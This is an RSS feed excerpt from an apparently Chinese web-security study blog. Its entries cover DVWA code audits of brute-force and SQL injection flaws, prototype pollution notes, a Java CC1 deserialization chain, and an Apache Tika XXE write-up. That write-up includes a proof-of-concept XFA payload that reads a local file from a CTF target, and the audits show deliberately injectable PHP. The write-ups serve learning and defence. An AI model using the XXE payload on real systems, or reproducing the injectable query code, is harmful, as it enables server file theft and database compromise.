&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$html &lt;span style="color:#f92672"&gt;.=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;img src=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;$avatar&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt; /&amp;gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#75715e"&gt;// Login failed
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$html &lt;span style="color:#f92672"&gt;.=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;pre&amp;gt;&amp;lt;br /&amp;gt;Username and/or password incorrect.&amp;lt;/pre&amp;gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	((&lt;span style="color:#a6e22e"&gt;is_null&lt;/span&gt;($___mysqli_res &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mysqli_close&lt;/span&gt;($GLOBALS[&lt;span style="color:#e6db74"&gt;&amp;#34;___mysqli_ston&amp;#34;&lt;/span&gt;]))) &lt;span style="color:#f92672"&gt;?&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt; $___mysqli_res);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这只是一个很简单的实现登录的代码，对密码进行md5加密防止从密码进行SQL注入（但是我们能利用用户名实现SQL注入），但我们对账号登入的尝试次数没有做限制，攻击者可以无数次进行尝试。&lt;/p&gt;</description></item><item><title>DVWA代码审计之SQL注入</title><link>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/dvwa%E5%AE%A1%E8%AE%A1%E7%AF%87/dvwa%E5%AD%A6%E4%B9%A0%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8Bsql%E6%B3%A8%E5%85%A5/</link><pubDate>Sat, 14 Mar 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/dvwa%E5%AE%A1%E8%AE%A1%E7%AF%87/dvwa%E5%AD%A6%E4%B9%A0%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8Bsql%E6%B3%A8%E5%85%A5/</guid><description>&lt;h1 id="dvwa代码审计之sql注入篇"&gt;
 DVWA代码审计之SQL注入篇
 &lt;a class="anchor" href="#dvwa%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1%e4%b9%8bsql%e6%b3%a8%e5%85%a5%e7%af%87"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="等级low"&gt;
 等级low
 &lt;a class="anchor" href="#%e7%ad%89%e7%ba%a7low"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="源码功能"&gt;
 源码功能
 &lt;a class="anchor" href="#%e6%ba%90%e7%a0%81%e5%8a%9f%e8%83%bd"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;isset&lt;/span&gt;( $_REQUEST[ &lt;span style="color:#e6db74"&gt;&amp;#39;Submit&amp;#39;&lt;/span&gt; ] ) ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#75715e"&gt;// 获取输入
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$id &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $_REQUEST[ &lt;span style="color:#e6db74"&gt;&amp;#39;id&amp;#39;&lt;/span&gt; ];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#75715e"&gt;// 数据库查询
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$query &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;SELECT first_name, last_name FROM users WHERE user_id = &amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$id&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$result &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mysqli_query&lt;/span&gt;($GLOBALS[&lt;span style="color:#e6db74"&gt;&amp;#34;___mysqli_ston&amp;#34;&lt;/span&gt;], $query ) &lt;span style="color:#66d9ef"&gt;or&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;die&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;pre&amp;gt;&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; ((&lt;span style="color:#a6e22e"&gt;is_object&lt;/span&gt;($GLOBALS[&lt;span style="color:#e6db74"&gt;&amp;#34;___mysqli_ston&amp;#34;&lt;/span&gt;])) &lt;span style="color:#f92672"&gt;?&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mysqli_error&lt;/span&gt;($GLOBALS[&lt;span style="color:#e6db74"&gt;&amp;#34;___mysqli_ston&amp;#34;&lt;/span&gt;]) &lt;span style="color:#f92672"&gt;:&lt;/span&gt; (($___mysqli_res &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mysqli_connect_error&lt;/span&gt;()) &lt;span style="color:#f92672"&gt;?&lt;/span&gt; $___mysqli_res &lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;)) &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;/pre&amp;gt;&amp;#39;&lt;/span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#75715e"&gt;// 处理查询结果
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt;( $row &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mysqli_fetch_assoc&lt;/span&gt;( $result ) ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#75715e"&gt;// 获取对应的值
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$first &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $row[&lt;span style="color:#e6db74"&gt;&amp;#34;first_name&amp;#34;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$last &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $row[&lt;span style="color:#e6db74"&gt;&amp;#34;last_name&amp;#34;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#75715e"&gt;// 返回给用户
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$html &lt;span style="color:#f92672"&gt;.=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;pre&amp;gt;ID: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;$id&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;lt;br /&amp;gt;First name: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;$first&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;lt;br /&amp;gt;Surname: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;$last&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;lt;/pre&amp;gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;mysqli_close&lt;/span&gt;($GLOBALS[&lt;span style="color:#e6db74"&gt;&amp;#34;___mysqli_ston&amp;#34;&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="安全隐患"&gt;
 安全隐患
 &lt;a class="anchor" href="#%e5%ae%89%e5%85%a8%e9%9a%90%e6%82%a3"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;源码使用&lt;code&gt;$_REQUEST&lt;/code&gt;这个超全局数组接收用户输入，但没有进行任何过滤，这就给了用户操作的空间，通过构造特定的SQL查询语句从而窃取到数据库内的信息。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$query = &amp;quot;SELECT first_name, last_name FROM users WHERE user_id = '$id';&amp;quot;;&lt;/code&gt;这段代码是我们利用的核心，在这个语句中，&lt;code&gt;$id&lt;/code&gt;这个变量直接插入到查询语句中，导致了&lt;strong&gt;用户输入被当成SQL语句&lt;/strong&gt;执行。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="漏洞成因"&gt;
 漏洞成因
 &lt;a class="anchor" href="#%e6%bc%8f%e6%b4%9e%e6%88%90%e5%9b%a0"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;SQL注入这类漏洞的核心问题，就是没有把数据和代码分离，使得用户输入被当成SQL代码的一部分执行。&lt;/p&gt;</description></item><item><title>node.js原型链污染和沙箱逃逸漏洞学习笔记</title><link>https://s0lowalker.github.io/docs/node.js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%92%8C%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/</link><pubDate>Sun, 01 Mar 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/node.js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%92%8C%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/</guid><description>&lt;h1 id="nodejs原型链污染和沙箱逃逸"&gt;
 node.js原型链污染和沙箱逃逸
 &lt;a class="anchor" href="#nodejs%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93%e5%92%8c%e6%b2%99%e7%ae%b1%e9%80%83%e9%80%b8"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="nodejs原型链"&gt;
 node.js原型链
 &lt;a class="anchor" href="#nodejs%e5%8e%9f%e5%9e%8b%e9%93%be"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h4 id="什么是原型prototype"&gt;
 什么是原型（Prototype）
 &lt;a class="anchor" href="#%e4%bb%80%e4%b9%88%e6%98%af%e5%8e%9f%e5%9e%8bprototype"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;在 JavaScript 中，几乎所有对象都是通过原型关联的。每个对象（除了 null）都有一个内置属性 &lt;code&gt;[[Prototype]]&lt;/code&gt;（在 ES5 中可通过 &lt;code&gt;__proto__ &lt;/code&gt;访问，标准方法为&lt;code&gt;Object.getPrototypeOf()&lt;/code&gt;），这个属性指向该对象的 “原型对象”（Prototype Object）。&lt;/p&gt;
&lt;p&gt;例如，创建一个普通对象时，其原型默认指向 &lt;code&gt;Object.prototype&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;__proto__&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; Object.&lt;span style="color:#a6e22e"&gt;prototype&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Object.&lt;span style="color:#a6e22e"&gt;getPrototypeOf&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;) &lt;span style="color:#f92672"&gt;===&lt;/span&gt; Object.&lt;span style="color:#a6e22e"&gt;prototype&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;什么是&lt;code&gt;Object.prototype&lt;/code&gt;？&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Object.prototype&lt;/code&gt; 是 JavaScript 里所有对象的&amp;quot;老祖宗&amp;quot;，原型链的顶层，再往上就 &lt;code&gt;null&lt;/code&gt;了。&lt;/p&gt;
&lt;p&gt;一张形象的图：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;太爷爷 (Object.prototype)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ↑
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ├── 爷爷 (Array.prototype)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ├── 爷爷 (Function.prototype)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ├── 爷爷 (String.prototype)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; └── 爷爷 (其他各种原型)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ↑
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ├── 爸爸 (某个构造函数.prototype)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ├── 爸爸 (另一个构造函数.prototype)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ↑
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 我 (实例对象 p)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;接下来分析样例代码：&lt;/p&gt;</description></item><item><title>Apache Tika XXE漏洞(CVE-2025-66516)</title><link>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/xxe/apache_tika_xml%E5%A4%96%E9%83%A8%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/</link><pubDate>Fri, 27 Feb 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/xxe/apache_tika_xml%E5%A4%96%E9%83%A8%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/</guid><description>&lt;h1 id="cve-2025-66516"&gt;
 CVE-2025-66516
 &lt;a class="anchor" href="#cve-2025-66516"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="漏洞简介"&gt;
 漏洞简介
 &lt;a class="anchor" href="#%e6%bc%8f%e6%b4%9e%e7%ae%80%e4%bb%8b"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;攻击者可以通过上传一个特制的PDF文件，远程窃取服务器敏感信息或执行其他恶意操作，且整个过程无需用户交互。&lt;/p&gt;
&lt;h2 id="漏洞详情"&gt;
 漏洞详情
 &lt;a class="anchor" href="#%e6%bc%8f%e6%b4%9e%e8%af%a6%e6%83%85"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;漏洞名称&lt;/strong&gt;：Apache Tika XML外部实体注入漏洞（XXE）
&lt;strong&gt;影响对象&lt;/strong&gt;：Apache Tika 是一个开源内容分析工具包，广泛用于从各种文件中提取文本和元数据，常被集成于搜索引擎、内容管理系统等
&lt;strong&gt;漏洞类型&lt;/strong&gt;：XXE&lt;/p&gt;
&lt;h2 id="漏洞原理"&gt;
 漏洞原理
 &lt;a class="anchor" href="#%e6%bc%8f%e6%b4%9e%e5%8e%9f%e7%90%86"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;该漏洞源于Apache Tika在处理PDF文件中的 XFA（XML表单架构）数据 时，未能安全地限制XML外部实体的加载。（XFA是一份藏在PDF文件里的XML代码）&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;攻击向量&lt;/strong&gt;：攻击者将恶意构造的XFA文件嵌入到一个看似正常的PDF文件中。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;触发机制&lt;/strong&gt;：当存在漏洞的Apache Tika服务解析这个PDF文件时，会不当地处理XFA中的恶意XML外部实体。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技术细节&lt;/strong&gt;：问题出在Tika核心（tika-core）的 &lt;code&gt;XMLReaderUtils&lt;/code&gt; 类在创建 &lt;code&gt;XMLStreamReader&lt;/code&gt; 时，未对外部实体和DTD进行有效防护，导致XXE攻击发生。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="poc以unictf2025的securedoc为例"&gt;
 POC（以UNICTF2025的SecureDoc为例）
 &lt;a class="anchor" href="#poc%e4%bb%a5unictf2025%e7%9a%84securedoc%e4%b8%ba%e4%be%8b"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-XML" data-lang="XML"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE xdp:xdp [
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt; &amp;lt;!ENTITY xxe SYSTEM &amp;#34;file:///flag&amp;#34;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;xdp:xdp&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;xmlns:xdp=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;http://ns.adobe.com/xdp/&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;template&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;subform&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;field&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;exploit&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;value&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;text&amp;gt;&lt;/span&gt;FLAG_CONTENT_BELOW:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;amp;xxe;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;FLAG_CONTENT_ABOVE&lt;span style="color:#f92672"&gt;&amp;lt;/text&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/value&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/field&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/subform&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/template&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/xdp:xdp&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个POC中有很多标签，是为了欺骗解析器，让它误以为这是一个合法的XFA文档，从而触发漏洞。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;xdp:xdp xmlns:xdp=&amp;quot;http://ns.adobe.com/xdp/&amp;quot;&amp;gt;&lt;/code&gt;这段代码是声明命名空间。&lt;code&gt;xmlns:xdp=&amp;quot;http://ns.adobe.com/xdp/&amp;quot;&lt;/code&gt;这部分里&lt;code&gt;xmlns&lt;/code&gt;是XML Namespace的简称，可以理解为一个叫做xdp的变量被赋值为http://ns.adobe.com/xdp/。而&lt;code&gt;xdp:xdp&lt;/code&gt;中，前一个xdp就是这个“变量”，后面的xdp则是真正的XML标签。因此这段代码的意思是：&lt;strong&gt;在 Adobe XDP 命名空间下的根元素 xdp&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="为什么要这么写"&gt;
 为什么要这么写
 &lt;a class="anchor" href="#%e4%b8%ba%e4%bb%80%e4%b9%88%e8%a6%81%e8%bf%99%e4%b9%88%e5%86%99"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;在 XFA（XML Forms Architecture）规范中，Adobe 规定：&lt;strong&gt;所有 XDP（XML Data Package）文档的根元素必须是命名空间 &lt;a href="http://ns.adobe.com/xdp/"&gt;http://ns.adobe.com/xdp/&lt;/a&gt; 下的 xdp标签&lt;/strong&gt;&lt;/p&gt;</description></item><item><title/><link>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcc1/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcc1/</guid><description>&lt;h1 id="java反序列化之cc1"&gt;
 Java反序列化之CC1
 &lt;a class="anchor" href="#java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8bcc1"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="transformmap版cc1攻击链分析"&gt;
 TransformMap版CC1攻击链分析
 &lt;a class="anchor" href="#transformmap%e7%89%88cc1%e6%94%bb%e5%87%bb%e9%93%be%e5%88%86%e6%9e%90"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;首先明确反序列化的思路：&lt;/p&gt;
&lt;p&gt;在入口类，我们需要一个&lt;code&gt;readObject&lt;/code&gt;方法，在结尾需要一个能够命令执行的方法，中间我们通过链子引导。所以我们一般从尾部出发找入口。&lt;/p&gt;
&lt;h3 id="尾部的-exec-方法"&gt;
 尾部的 exec 方法
 &lt;a class="anchor" href="#%e5%b0%be%e9%83%a8%e7%9a%84-exec-%e6%96%b9%e6%b3%95"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;先查看一下&lt;code&gt;Transformer&lt;/code&gt;这个接口，有一个&lt;code&gt;transform&lt;/code&gt;方法。我们看一下这个接口有哪些实现类。最终我们在&lt;code&gt;InvokerTransformer&lt;/code&gt;这个类里面发现它的&lt;code&gt;transform&lt;/code&gt;方法存在反射调用任意类。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; Object &lt;span style="color:#a6e22e"&gt;transform&lt;/span&gt;(Object input) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (input &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;) {
